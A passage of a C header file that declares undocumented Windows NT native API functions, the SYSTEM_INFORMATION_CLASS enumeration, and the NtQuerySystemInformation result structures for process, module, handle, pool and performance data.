IN HANDLE KeyHandle,
IN PUNICODE_STRING ValueName,
IN ULONG TitleIndex OPTIONAL,
IN ULONG Type,
IN PVOID Data,
IN ULONG DataSize
);
NTSYSAPI
NTSTATUS
NTAPI
NtDeleteValueKey(
IN HANDLE KeyHandle,
IN PUNICODE_STRING ValueName
);
NTSYSAPI
NTSTATUS
NTAPI
NtFlushKey(
IN HANDLE KeyHandle
);
//-----------------------------------------------------------------------------
// RtlQueryRegistryValues
//
// The following flags specify how the Name field of a RTL_QUERY_REGISTRY_TABLE
// entry is interpreted. A NULL name indicates the end of the table.
//
#define RTL_QUERY_REGISTRY_SUBKEY 0x00000001 // Name is a subkey and remainder of
// table or until next subkey are value
// names for that subkey to look at.
#define RTL_QUERY_REGISTRY_TOPKEY 0x00000002 // Reset current key to original key for
// this and all following table entries.
#define RTL_QUERY_REGISTRY_REQUIRED 0x00000004 // Fail if no match found for this table
// entry.
#define RTL_QUERY_REGISTRY_NOVALUE 0x00000008 // Used to mark a table entry that has no
// value name, just wants a call out, not
// an enumeration of all values.
#define RTL_QUERY_REGISTRY_NOEXPAND 0x00000010 // Used to suppress the expansion of
// REG_MULTI_SZ into multiple callouts or
// to prevent the expansion of environment
// variable values in REG_EXPAND_SZ
#define RTL_QUERY_REGISTRY_DIRECT 0x00000020 // QueryRoutine field ignored. EntryContext
// field points to location to store value.
// For null terminated strings, EntryContext
// points to UNICODE_STRING structure that
// that describes maximum size of buffer.
// If .Buffer field is NULL then a buffer is
// allocated.
//
#define RTL_QUERY_REGISTRY_DELETE 0x00000040 // Used to delete value keys after they
// are queried.
//
// The following values for the RelativeTo parameter determine what the
// Path parameter to RtlQueryRegistryValues is relative to.
//
#define RTL_REGISTRY_ABSOLUTE 0 // Path is an absolute registry path.
#define RTL_REGISTRY_SERVICES 1 // Path is relative to \Registry\Machine\System\CurrentControlSet\Services
#define RTL_REGISTRY_CONTROL 2 // Path is relative to \Registry\Machine\System\CurrentControlSet\Control
#define RTL_REGISTRY_WINDOWS_NT 3 // Path is relative to \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion
#define RTL_REGISTRY_DEVICEMAP 4 // Path is relative to \Registry\Machine\Hardware\DeviceMap
#define RTL_REGISTRY_USER 5 // Path is relative to \Registry\User\CurrentUser. (For a system process, this is \User\.Default)
#define RTL_REGISTRY_MAXIMUM 6
#define RTL_REGISTRY_HANDLE 0x40000000 // Specifies that the Path parameter is actually a registry handle to use
#define RTL_REGISTRY_OPTIONAL 0x80000000 // Specifies that the key referenced by this parameter and the Path parameter are optional
typedef NTSTATUS (NTAPI * PRTL_QUERY_REGISTRY_ROUTINE)(
IN PWSTR ValueName,
IN ULONG ValueType,
IN PVOID ValueData,
IN ULONG ValueLength,
IN PVOID Context,
IN PVOID EntryContext
);
typedef struct _RTL_QUERY_REGISTRY_TABLE
{
PRTL_QUERY_REGISTRY_ROUTINE QueryRoutine;
ULONG Flags;
PWSTR Name;
PVOID EntryContext;
ULONG DefaultType;
PVOID DefaultData;
ULONG DefaultLength;
} RTL_QUERY_REGISTRY_TABLE, *PRTL_QUERY_REGISTRY_TABLE;
NTSYSAPI
NTSTATUS
NTAPI
RtlQueryRegistryValues(
IN ULONG RelativeTo,
IN PCWSTR Path,
IN PRTL_QUERY_REGISTRY_TABLE QueryTable,
IN PVOID Context,
IN PVOID Environment OPTIONAL
);
//-----------------------------------------------------------------------------
// Query system information
typedef enum _SYSTEM_INFORMATION_CLASS
{
SystemBasicInformation, // 0x00
SystemProcessorInformation, // 0x01
SystemPerformanceInformation, // 0x02
SystemTimeOfDayInformation, // 0x03
SystemPathInformation, // 0x04 (Obsolete: Use KUSER_SHARED_DATA)
SystemProcessInformation, // 0x05
SystemCallCountInformation, // 0x06
SystemDeviceInformation, // 0x07
SystemProcessorPerformanceInformation, // 0x08
SystemFlagsInformation, // 0x09
SystemCallTimeInformation, // 0x0a
SystemModuleInformation, // 0x0b
SystemLocksInformation, // 0x0c
SystemStackTraceInformation, // 0x0d
SystemPagedPoolInformation, // 0x0e
SystemNonPagedPoolInformation, // 0x0f
SystemHandleInformation, // 0x10
SystemObjectInformation, // 0x11
SystemPageFileInformation, // 0x12
SystemVdmInstemulInformation, // 0x13
SystemVdmBopInformation, // 0x14
SystemFileCacheInformation, // 0x15
SystemPoolTagInformation, // 0x16
SystemInterruptInformation, // 0x17
SystemDpcBehaviorInformation, // 0x18
SystemFullMemoryInformation, // 0x19
SystemLoadGdiDriverInformation, // 0x1a
SystemUnloadGdiDriverInformation, // 0x1b
SystemTimeAdjustmentInformation, // 0x1c
SystemSummaryMemoryInformation, // 0x1d
SystemMirrorMemoryInformation, // 0x1e
SystemPerformanceTraceInformation, // 0x1f
SystemObsolete0, // 0x20
SystemExceptionInformation, // 0x21
SystemCrashDumpStateInformation, // 0x22
SystemKernelDebuggerInformation, // 0x23
SystemContextSwitchInformation, // 0x24
SystemRegistryQuotaInformation, // 0x25
SystemExtendServiceTableInformation, // 0x26
SystemPrioritySeperation, // 0x27
SystemPlugPlayBusInformation, // 0x28
SystemDockInformation, // 0x29
SystemPowerInformationNative, // 0x2a
SystemProcessorSpeedInformation, // 0x2b
SystemCurrentTimeZoneInformation, // 0x2c
SystemLookasideInformation,
SystemTimeSlipNotification,
SystemSessionCreate,
SystemSessionDetach,
SystemSessionInformation,
SystemRangeStartInformation,
SystemVerifierInformation,
SystemAddVerifier,
SystemSessionProcessesInformation,
SystemLoadGdiDriverInSystemSpaceInformation,
SystemNumaProcessorMap,
SystemPrefetcherInformation,
SystemExtendedProcessInformation,
SystemRecommendedSharedDataAlignment,
SystemComPlusPackage,
SystemNumaAvailableMemory,
SystemProcessorPowerInformation,
SystemEmulationBasicInformation,
SystemEmulationProcessorInformation,
SystemExtendedHandleInformation,
SystemLostDelayedWriteInformation,
SystemBigPoolInformation,
SystemSessionPoolTagInformation,
SystemSessionMappedViewInformation,
SystemHotpatchInformation,
SystemObjectSecurityMode,
SystemWatchDogTimerHandler,
SystemWatchDogTimerInformation,
SystemLogicalProcessorInformation,
SystemWo64SharedInformationObosolete,
SystemRegisterFirmwareTableInformationHandler,
SystemFirmwareTableInformation,
SystemModuleInformationEx,
SystemVerifierTriageInformation,
SystemSuperfetchInformation,
SystemMemoryListInformation,
SystemFileCacheInformationEx,
SystemThreadPriorityClientIdInformation,
SystemProcessorIdleCycleTimeInformation,
SystemVerifierCancellationInformation,
SystemProcessorPowerInformationEx,
SystemRefTraceInformation,
SystemSpecialPoolInformation,
SystemProcessIdInformation,
SystemErrorPortInformation,
SystemBootEnvironmentInformation,
SystemHypervisorInformation,
SystemVerifierInformationEx,
SystemTimeZoneInformation,
SystemImageFileExecutionOptionsInformation,
SystemCoverageInformation,
SystemPrefetchPathInformation,
SystemVerifierFaultsInformation,
MaxSystemInfoClass,
} SYSTEM_INFORMATION_CLASS, *PSYSTEM_INFORMATION_CLASS;
//
// Thread priority
//
typedef LONG KPRIORITY;
//
// Information Structures for NtQuerySystemInformation
//
typedef struct _SYSTEM_BASIC_INFORMATION
{
ULONG Reserved;
ULONG TimerResolution;
ULONG PageSize;
ULONG NumberOfPhysicalPages;
ULONG LowestPhysicalPageNumber;
ULONG HighestPhysicalPageNumber;
ULONG AllocationGranularity;
ULONG_PTR MinimumUserModeAddress;
ULONG_PTR MaximumUserModeAddress;
ULONG_PTR ActiveProcessorsAffinityMask;
CCHAR NumberOfProcessors;
} SYSTEM_BASIC_INFORMATION, *PSYSTEM_BASIC_INFORMATION;
// Class 1
typedef struct _SYSTEM_PROCESSOR_INFORMATION
{
USHORT ProcessorArchitecture;
USHORT ProcessorLevel;
USHORT ProcessorRevision;
USHORT Reserved;
ULONG ProcessorFeatureBits;
} SYSTEM_PROCESSOR_INFORMATION, *PSYSTEM_PROCESSOR_INFORMATION;
// Class 2
typedef struct _SYSTEM_PERFORMANCE_INFORMATION
{
LARGE_INTEGER IdleProcessTime;
LARGE_INTEGER IoReadTransferCount;
LARGE_INTEGER IoWriteTransferCount;
LARGE_INTEGER IoOtherTransferCount;
ULONG IoReadOperationCount;
ULONG IoWriteOperationCount;
ULONG IoOtherOperationCount;
ULONG AvailablePages;
ULONG CommittedPages;
ULONG CommitLimit;
ULONG PeakCommitment;
ULONG PageFaultCount;
ULONG CopyOnWriteCount;
ULONG TransitionCount;
ULONG CacheTransitionCount;
ULONG DemandZeroCount;
ULONG PageReadCount;
ULONG PageReadIoCount;
ULONG CacheReadCount;
ULONG CacheIoCount;
ULONG DirtyPagesWriteCount;
ULONG DirtyWriteIoCount;
ULONG MappedPagesWriteCount;
ULONG MappedWriteIoCount;
ULONG PagedPoolPages;
ULONG NonPagedPoolPages;
ULONG PagedPoolAllocs;
ULONG PagedPoolFrees;
ULONG NonPagedPoolAllocs;
ULONG NonPagedPoolFrees;
ULONG FreeSystemPtes;
ULONG ResidentSystemCodePage;
ULONG TotalSystemDriverPages;
ULONG TotalSystemCodePages;
ULONG NonPagedPoolLookasideHits;
ULONG PagedPoolLookasideHits;
ULONG Spare3Count;
ULONG ResidentSystemCachePage;
ULONG ResidentPagedPoolPage;
ULONG ResidentSystemDriverPage;
ULONG CcFastReadNoWait;
ULONG CcFastReadWait;
ULONG CcFastReadResourceMiss;
ULONG CcFastReadNotPossible;
ULONG CcFastMdlReadNoWait;
ULONG CcFastMdlReadWait;
ULONG CcFastMdlReadResourceMiss;
ULONG CcFastMdlReadNotPossible;
ULONG CcMapDataNoWait;
ULONG CcMapDataWait;
ULONG CcMapDataNoWaitMiss;
ULONG CcMapDataWaitMiss;
ULONG CcPinMappedDataCount;
ULONG CcPinReadNoWait;
ULONG CcPinReadWait;
ULONG CcPinReadNoWaitMiss;
ULONG CcPinReadWaitMiss;
ULONG CcCopyReadNoWait;
ULONG CcCopyReadWait;
ULONG CcCopyReadNoWaitMiss;
ULONG CcCopyReadWaitMiss;
ULONG CcMdlReadNoWait;
ULONG CcMdlReadWait;
ULONG CcMdlReadNoWaitMiss;
ULONG CcMdlReadWaitMiss;
ULONG CcReadAheadIos;
ULONG CcLazyWriteIos;
ULONG CcLazyWritePages;
ULONG CcDataFlushes;
ULONG CcDataPages;
ULONG ContextSwitches;
ULONG FirstLevelTbFills;
ULONG SecondLevelTbFills;
ULONG SystemCalls;
} SYSTEM_PERFORMANCE_INFORMATION, *PSYSTEM_PERFORMANCE_INFORMATION;
// Class 3
typedef struct _SYSTEM_TIMEOFDAY_INFORMATION
{
LARGE_INTEGER BootTime;
LARGE_INTEGER CurrentTime;
LARGE_INTEGER TimeZoneBias;
ULONG TimeZoneId;
ULONG Reserved;
LARGE_INTEGER BootTimeBias;
LARGE_INTEGER SleepTimeBias;
} SYSTEM_TIMEOFDAY_INFORMATION, *PSYSTEM_TIMEOFDAY_INFORMATION;
// Class 4
// This class is obsolete, please use KUSER_SHARED_DATA instead
// Class 5
typedef struct _SYSTEM_THREAD_INFORMATION
{
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER CreateTime;
ULONG WaitTime;
PVOID StartAddress;
CLIENT_ID ClientId;
KPRIORITY Priority;
LONG BasePriority;
ULONG ContextSwitches;
ULONG ThreadState;
ULONG WaitReason;
} SYSTEM_THREAD_INFORMATION, *PSYSTEM_THREAD_INFORMATION;
typedef struct _SYSTEM_PROCESS_INFORMATION
{
ULONG NextEntryOffset;
ULONG NumberOfThreads;
LARGE_INTEGER SpareLi1;
LARGE_INTEGER SpareLi2;
LARGE_INTEGER SpareLi3;
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ImageName;
KPRIORITY BasePriority;
HANDLE UniqueProcessId;
HANDLE InheritedFromUniqueProcessId;
ULONG HandleCount;
ULONG SessionId;
ULONG_PTR PageDirectoryBase;
//
// This part corresponds to VM_COUNTERS_EX.
// NOTE: *NOT* THE SAME AS VM_COUNTERS!
//
SIZE_T PeakVirtualSize;
ULONG VirtualSize;
SIZE_T PageFaultCount;
SIZE_T PeakWorkingSetSize;
SIZE_T WorkingSetSize;
SIZE_T QuotaPeakPagedPoolUsage;
SIZE_T QuotaPagedPoolUsage;
SIZE_T QuotaPeakNonPagedPoolUsage;
SIZE_T QuotaNonPagedPoolUsage;
SIZE_T PagefileUsage;
SIZE_T PeakPagefileUsage;
SIZE_T PrivatePageCount;
//
// This part corresponds to IO_COUNTERS
//
LARGE_INTEGER ReadOperationCount;
LARGE_INTEGER WriteOperationCount;
LARGE_INTEGER OtherOperationCount;
LARGE_INTEGER ReadTransferCount;
LARGE_INTEGER WriteTransferCount;
LARGE_INTEGER OtherTransferCount;
//SYSTEM_THREAD_INFORMATION TH[1];
} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;
// Class 6
typedef struct _SYSTEM_CALL_COUNT_INFORMATION
{
ULONG Length;
ULONG NumberOfTables;
} SYSTEM_CALL_COUNT_INFORMATION, *PSYSTEM_CALL_COUNT_INFORMATION;
// Class 7
typedef struct _SYSTEM_DEVICE_INFORMATION
{
ULONG NumberOfDisks;
ULONG NumberOfFloppies;
ULONG NumberOfCdRoms;
ULONG NumberOfTapes;
ULONG NumberOfSerialPorts;
ULONG NumberOfParallelPorts;
} SYSTEM_DEVICE_INFORMATION, *PSYSTEM_DEVICE_INFORMATION;
// Class 8
typedef struct _SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION
{
LARGE_INTEGER IdleTime;
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER DpcTime;
LARGE_INTEGER InterruptTime;
ULONG InterruptCount;
} SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION, *PSYSTEM_PROCESSOR_PERFORMANCE_INFORMATION;
// Class 9
typedef struct _SYSTEM_FLAGS_INFORMATION
{
ULONG Flags;
} SYSTEM_FLAGS_INFORMATION, *PSYSTEM_FLAGS_INFORMATION;
// Class 10
typedef struct _SYSTEM_CALL_TIME_INFORMATION
{
ULONG Length;
ULONG TotalCalls;
LARGE_INTEGER TimeOfCalls[1];
} SYSTEM_CALL_TIME_INFORMATION, *PSYSTEM_CALL_TIME_INFORMATION;
// Class 11 - See RTL_PROCESS_MODULES
typedef struct _RTL_PROCESS_MODULE_INFORMATION
{
ULONG Section;
PVOID MappedBase;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName;
CHAR FullPathName[256];
} RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION, SYSTEM_MODULE, *PSYSTEM_MODULE;
typedef struct _RTL_PROCESS_MODULES
{
ULONG NumberOfModules;
RTL_PROCESS_MODULE_INFORMATION Modules[1];
} RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES, SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
// Class 12 - See RTL_PROCESS_LOCKS
typedef struct _RTL_PROCESS_LOCK_INFORMATION
{
PVOID Address;
USHORT Type;
USHORT CreatorBackTraceIndex;
ULONG OwnerThreadId;
ULONG ActiveCount;
ULONG ContentionCount;
ULONG EntryCount;
ULONG RecursionCount;
ULONG NumberOfSharedWaiters;
ULONG NumberOfExclusiveWaiters;
} RTL_PROCESS_LOCK_INFORMATION, *PRTL_PROCESS_LOCK_INFORMATION;
typedef struct _RTL_PROCESS_LOCKS
{
ULONG NumberOfLocks;
RTL_PROCESS_LOCK_INFORMATION Locks[1];
} RTL_PROCESS_LOCKS, *PRTL_PROCESS_LOCKS;
// Class 13 - See RTL_PROCESS_BACKTRACES
typedef struct _RTL_PROCESS_BACKTRACE_INFORMATION
{
PVOID SymbolicBackTrace;
ULONG TraceCount;
USHORT Index;
USHORT Depth;
PVOID BackTrace[16];
} RTL_PROCESS_BACKTRACE_INFORMATION, *PRTL_PROCESS_BACKTRACE_INFORMATION;
typedef struct _RTL_PROCESS_BACKTRACES
{
ULONG CommittedMemory;
ULONG ReservedMemory;
ULONG NumberOfBackTraceLookups;
ULONG NumberOfBackTraces;
RTL_PROCESS_BACKTRACE_INFORMATION BackTraces[1];
} RTL_PROCESS_BACKTRACES, *PRTL_PROCESS_BACKTRACES;
// Class 14 - 15
typedef struct _SYSTEM_POOL_ENTRY
{
BOOLEAN Allocated;
BOOLEAN Spare0;
USHORT AllocatorBackTraceIndex;
ULONG Size;
union
{
UCHAR Tag[4];
ULONG TagUlong;
PVOID ProcessChargedQuota;
};
} SYSTEM_POOL_ENTRY, *PSYSTEM_POOL_ENTRY;
typedef struct _SYSTEM_POOL_INFORMATION
{
ULONG TotalSize;
PVOID FirstEntry;
USHORT EntryOverhead;
BOOLEAN PoolTagPresent;
BOOLEAN Spare0;
ULONG NumberOfEntries;
SYSTEM_POOL_ENTRY Entries[1];
} SYSTEM_POOL_INFORMATION, *PSYSTEM_POOL_INFORMATION;
// Class 16
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
USHORT UniqueProcessId;
USHORT CreatorBackTraceIndex;
UCHAR ObjectTypeIndex;
UCHAR HandleAttributes;
USHORT HandleValue;
PVOID Object;
ULONG GrantedAccess;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO;
typedef struct _SYSTEM_HANDLE_INFORMATION
{
ULONG NumberOfHandles;
SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;
// Class 17
typedef struct _SYSTEM_OBJECTTYPE_INFORMATION
{
ULONG NextEntryOffset;
ULONG NumberOfObjects;
ULONG NumberOfHandles;
ULONG TypeIndex;
ULONG InvalidAttributes;
GENERIC_MAPPING GenericMapping;
ULONG ValidAccessMask;
ULONG PoolType;
BOOLEAN SecurityRequired;
BOOLEAN WaitableObject;
UNICODE_STRING TypeName;
} SYSTEM_OBJECTTYPE_INFORMATION, *PSYSTEM_OBJECTTYPE_INFORMATION;
typedef struct _SYSTEM_OBJECT_INFORMATION
{
ULONG NextEntryOffset;
PVOID Object;
HANDLE CreatorUniqueProcess;
USHORT CreatorBackTraceIndex;
USHORT Flags;
LONG PointerCount;
LONG HandleCount;
ULONG PagedPoolCharge;
ULONG NonPagedPoolCharge;
HANDLE ExclusiveProcessId;
PVOID SecurityDescriptor;
OBJECT_NAME_INFORMATION NameInfo;
} SYSTEM_OBJECT_INFORMATION, *PSYSTEM_OBJECT_INFORMATION;
// Class 18
typedef struct _SYSTEM_PAGEFILE_INFORMATION
{
ULONG NextEntryOffset;
ULONG TotalSize;
ULONG TotalInUse;
ULONG PeakUsage;
UNICODE_STRING PageFileName;
} SYSTEM_PAGEFILE_INFORMATION, *PSYSTEM_PAGEFILE_INFORMATION;
// Class 19
typedef struct _SYSTEM_VDM_INSTEMUL_INFO
{
ULONG SegmentNotPresent;
ULONG VdmOpcode0F;
ULONG OpcodeESPrefix;
ULONG OpcodeCSPrefix;
ULONG OpcodeSSPrefix;
ULONG OpcodeDSPrefix;
ULONG OpcodeFSPrefix;
ULONG OpcodeGSPrefix;
ULONG OpcodeOPER32Prefix;
ULONG OpcodeADDR32Prefix;
ULONG OpcodeINSB;
ULONG OpcodeINSW;
ULONG OpcodeOUTSB;
ULONG OpcodeOUTSW;
ULONG OpcodePUSHF;
ULONG OpcodePOPF;
ULONG OpcodeINTnn;
ULONG OpcodeINTO;
ULONG OpcodeIRET;
ULONG OpcodeINBimm;
ULONG OpcodeINWimm;
ULONG OpcodeOUTBimm;
ULONG OpcodeOUTWimm ;
ULONG OpcodeINB;
ULONG OpcodeINW;
ULONG OpcodeOUTB;
ULONG OpcodeOUTW;
ULONG OpcodeLOCKPrefix;
ULONG OpcodeREPNEPrefix;
ULONG OpcodeREPPrefix;
ULONG OpcodeHLT;
ULONG OpcodeCLI;
ULONG OpcodeSTI;
ULONG BopCount;
} SYSTEM_VDM_INSTEMUL_INFO, *PSYSTEM_VDM_INSTEMUL_INFO;
// Class 20 - ULONG VDMBOPINFO
// Class 21
typedef struct _SYSTEM_FILECACHE_INFORMATION
{
ULONG CurrentSize;
ULONG PeakSize;
ULONG PageFaultCount;
ULONG MinimumWorkingSet;
ULONG MaximumWorkingSet;
ULONG CurrentSizeIncludingTransitionInPages;
ULONG PeakSizeIncludingTransitionInPages;
ULONG TransitionRePurposeCount;
ULONG Flags;
} SYSTEM_FILECACHE_INFORMATION, *PSYSTEM_FILECACHE_INFORMATION;
// Class 22
typedef struct _SYSTEM_POOLTAG
{
union
{
UCHAR Tag[4];
ULONG TagUlong;
};
ULONG PagedAllocs;
ULONG PagedFrees;
ULONG PagedUsed;
ULONG NonPagedAllocs;
ULONG NonPagedFrees;
ULONG NonPagedUsed;
} SYSTEM_POOLTAG, *PSYSTEM_POOLTAG;
typedef struct _SYSTEM_POOLTAG_INFORMATION
{
ULONG Count;
SYSTEM_POOLTAG TagInfo[1];
} SYSTEM_POOLTAG_INFORMATION, *PSYSTEM_POOLTAG_INFORMATION;
// Class 23
typedef struct _SYSTEM_INTERRUPT_INFORMATION
{
ULONG ContextSwitches;
ULONG DpcCount;
ULONG DpcRate;
ULONG TimeIncrement;
ULONG DpcBypassCount;
ULONG ApcBypassCount;
} SYSTEM_INTERRUPT_INFORMATION, *PSYSTEM_INTERRUPT_INFORMATION;
// Class 24
typedef struct _SYSTEM_DPC_BEHAVIOR_INFORMATION
{
ULONG Spare;
ULONG DpcQueueDepth;
ULONG MinimumDpcRate;
ULONG AdjustDpcThreshold;
ULONG IdealDpcRate;
} SYSTEM_DPC_BEHAVIOR_INFORMATION, *PSYSTEM_DPC_BEHAVIOR_INFORMATION;
// Class 25
typedef struct _SYSTEM_MEMORY_INFO
{
PUCHAR StringOffset;
USHORT ValidCount;
USHORT TransitionCount;
USHORT ModifiedCount;
USHORT PageTableCount;
} SYSTEM_MEMORY_INFO, *PSYSTEM_MEMORY_INFO;
typedef struct _SYSTEM_MEMORY_INFORMATION
{
ULONG InfoSize;
ULONG StringStart;
SYSTEM_MEMORY_INFO Memory[1];
} SYSTEM_MEMORY_INFORMATION, *PSYSTEM_MEMORY_INFORMATION;
// Class 26
typedef struct _SYSTEM_GDI_DRIVER_INFORMATION
{
UNICODE_STRING DriverName;
PVOID ImageAddress;
PVOID SectionPointer;
PVOID EntryPoint;
PIMAGE_EXPORT_DIRECTORY ExportSectionPointer;
ULONG ImageLength;
} SYSTEM_GDI_DRIVER_INFORMATION, *PSYSTEM_GDI_DRIVER_INFORMATION;
// Class 27
// Not an actually class, simply a PVOID to the ImageAddress
// Class 28
typedef struct _SYSTEM_QUERY_TIME_ADJUST_INFORMATION
{
ULONG TimeAdjustment;
ULONG TimeIncrement;
BOOLEAN Enable;
} SYSTEM_QUERY_TIME_ADJUST_INFORMATION, *PSYSTEM_QUERY_TIME_ADJUST_INFORMATION;
typedef struct _SYSTEM_SET_TIME_ADJUST_INFORMATION
{
ULONG TimeAdjustment;
BOOLEAN Enable;
} SYSTEM_SET_TIME_ADJUST_INFORMATION, *PSYSTEM_SET_TIME_ADJUST_INFORMATION;
// Class 29 - Same as 25
// FIXME: Class 30
// Class 31
typedef struct _SYSTEM_REF_TRACE_INFORMATION
{
UCHAR TraceEnable;
UCHAR TracePermanent;
UNICODE_STRING TraceProcessName;
UNICODE_STRING TracePoolTags;
} SYSTEM_REF_TRACE_INFORMATION, *PSYSTEM_REF_TRACE_INFORMATION;
// Class 32 - OBSOLETE
// Class 33
typedef struct _SYSTEM_EXCEPTION_INFORMATION
{
ULONG AlignmentFixupCount;
ULONG ExceptionDispatchCount;
ULONG FloatingEmulationCount;
ULONG ByteWordEmulationCount;
} SYSTEM_EXCEPTION_INFORMATION, *PSYSTEM_EXCEPTION_INFORMATION;
// Class 34
typedef struct _SYSTEM_CRASH_STATE_INFORMATION
{
ULONG ValidCrashDump;
} SYSTEM_CRASH_STATE_INFORMATION, *PSYSTEM_CRASH_STATE_INFORMATION;
// Class 35
typedef struct _SYSTEM_KERNEL_DEBUGGER_INFORMATION
{
BOOLEAN KernelDebuggerEnabled;
BOOLEAN KernelDebuggerNotPresent;
} SYSTEM_KERNEL_DEBUGGER_INFORMATION, *PSYSTEM_KERNEL_DEBUGGER_INFORMATION;
// Class 36
typedef struct _SYSTEM_CONTEXT_SWITCH_INFORMATION
{
ULONG ContextSwitches;
ULONG FindAny;
ULONG FindLast;
ULONG FindIdeal;
ULONG IdleAny;
ULONG IdleCurrent;
ULONG IdleLast;
ULONG IdleIdeal;
ULONG PreemptAny;
ULONG PreemptCurrent;
ULONG PreemptLast;
ULONG SwitchToIdle;
} SYSTEM_CONTEXT_SWITCH_INFORMATION, *PSYSTEM_CONTEXT_SWITCH_INFORMATION;
// Class 37
typedef struct _SYSTEM_REGISTRY_QUOTA_INFORMATION
{
ULONG RegistryQuotaAllowed;
ULONG RegistryQuotaUsed;
ULONG PagedPoolSize;
} SYSTEM_REGISTRY_QUOTA_INFORMATION, *PSYSTEM_REGISTRY_QUOTA_INFORMATION;
// Class 38
// Not a structure, simply send the UNICODE_STRING
// Class 39
// Not a structure, simply send a ULONG containing the new separation
// Class 40
typedef struct _SYSTEM_PLUGPLAY_BUS_INFORMATION
{
ULONG BusCount;
// PLUGPLAY_BUS_INSTANCE BusInstance[1];
} SYSTEM_PLUGPLAY_BUS_INFORMATION, *PSYSTEM_PLUGPLAY_BUS_INFORMATION;
// Class 41
typedef enum _SYSTEM_DOCK_STATE
{
SystemDockStateUnknown,
SystemUndocked,
SystemDocked
} SYSTEM_DOCK_STATE, *PSYSTEM_DOCK_STATE;
typedef enum _INTERFACE_TYPE
{
InterfaceTypeUndefined = -1,
Internal,
Isa,
Eisa,
MicroChannel,
TurboChannel,
PCIBus,
VMEBus,
NuBus,
PCMCIABus,
CBus,
MPIBus,
MPSABus,
ProcessorInternal,
InternalPowerBus,
PNPISABus,
PNPBus,
MaximumInterfaceType
}INTERFACE_TYPE, *PINTERFACE_TYPE;
typedef struct _SYSTEM_DOCK_INFORMATION
{
SYSTEM_DOCK_STATE DockState;
INTERFACE_TYPE DeviceBusType;
ULONG DeviceBusNumber;
ULONG SlotNumber;
} SYSTEM_DOCK_INFORMATION, *PSYSTEM_DOCK_INFORMATION;
// Class 42
typedef struct _SYSTEM_POWER_INFORMATION_NATIVE
{
BOOLEAN SystemSuspendSupported;
BOOLEAN SystemHibernateSupported;
BOOLEAN ResumeTimerSupportsSuspend;
BOOLEAN ResumeTimerSupportsHibernate;
BOOLEAN LidSupported;
BOOLEAN TurboSettingSupported;
BOOLEAN TurboMode;
BOOLEAN SystemAcOrDc;
BOOLEAN PowerDownDisabled;
LARGE_INTEGER SpindownDrives;
} SYSTEM_POWER_INFORMATION_NATIVE, *PSYSTEM_POWER_INFORMATION_NATIVE;
// Class 43
typedef struct _SYSTEM_LEGACY_DRIVER_INFORMATION
{
// PNP_VETO_TYPE VetoType;
UNICODE_STRING VetoDriver;
// CHAR Buffer[0];
} SYSTEM_LEGACY_DRIVER_INFORMATION, *PSYSTEM_LEGACY_DRIVER_INFORMATION;
// Class 44
//typedef struct _TIME_ZONE_INFORMATION RTL_TIME_ZONE_INFORMATION;
// Class 45
typedef struct _SYSTEM_LOOKASIDE_INFORMATION
{
USHORT CurrentDepth;
USHORT MaximumDepth;
ULONG TotalAllocates;
ULONG AllocateMisses;
ULONG TotalFrees;
ULONG FreeMisses;
ULONG Type;
ULONG Tag;
ULONG Size;
} SYSTEM_LOOKASIDE_INFORMATION, *PSYSTEM_LOOKASIDE_INFORMATION;
// Class 46
// Not a structure. Only a HANDLE for the SlipEvent;
// Class 47
// Not a structure. Only a ULONG for the SessionId;
// Class 48
// Not a structure. Only a ULONG for the SessionId;
// FIXME: Class 49
// Class 50
// Not a structure. Only a ULONG_PTR for the SystemRangeStart
// Class 51
typedef struct _SYSTEM_VERIFIER_INFORMATION
{
ULONG NextEntryOffset;
ULONG Level;
UNICODE_STRING DriverName;
ULONG RaiseIrqls;
ULONG AcquireSpinLocks;
ULONG SynchronizeExecutions;
ULONG AllocationsAttempted;
ULONG AllocationsSucceeded;
ULONG AllocationsSucceededSpecialPool;
ULONG AllocationsWithNoTag;
ULONG TrimRequests;
ULONG Trims;
ULONG AllocationsFailed;
ULONG AllocationsFailedDeliberately;
ULONG Loads;
ULONG Unloads;
ULONG UnTrackedPool;
ULONG CurrentPagedPoolAllocations;
ULONG CurrentNonPagedPoolAllocations;
ULONG PeakPagedPoolAllocations;
ULONG PeakNonPagedPoolAllocations;
ULONG PagedPoolUsageInBytes;
ULONG NonPagedPoolUsageInBytes;
ULONG PeakPagedPoolUsageInBytes;
ULONG PeakNonPagedPoolUsageInBytes;
} SYSTEM_VERIFIER_INFORMATION, *PSYSTEM_VERIFIER_INFORMATION;
// FIXME: Class 52
// Class 53
typedef struct _SYSTEM_SESSION_PROCESS_INFORMATION
{
ULONG SessionId;
ULONG SizeOfBuf;
PVOID Buffer; // Same format as in SystemProcessInformation
} SYSTEM_SESSION_PROCESS_INFORMATION, *PSYSTEM_SESSION_PROCESS_INFORMATION;
// FIXME: Class 54-97
//
// Hotpatch flags
//
#define RTL_HOTPATCH_SUPPORTED_FLAG 0x01
#define RTL_HOTPATCH_SWAP_OBJECT_NAMES 0x08 << 24
#define RTL_HOTPATCH_SYNC_RENAME_FILES 0x10 << 24
#define RTL_HOTPATCH_PATCH_USER_MODE 0x20 << 24
#define RTL_HOTPATCH_REMAP_SYSTEM_DLL 0x40 << 24
#define RTL_HOTPATCH_PATCH_KERNEL_MODE 0x80 << 24
// Class info 64
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX
{
PVOID Object;
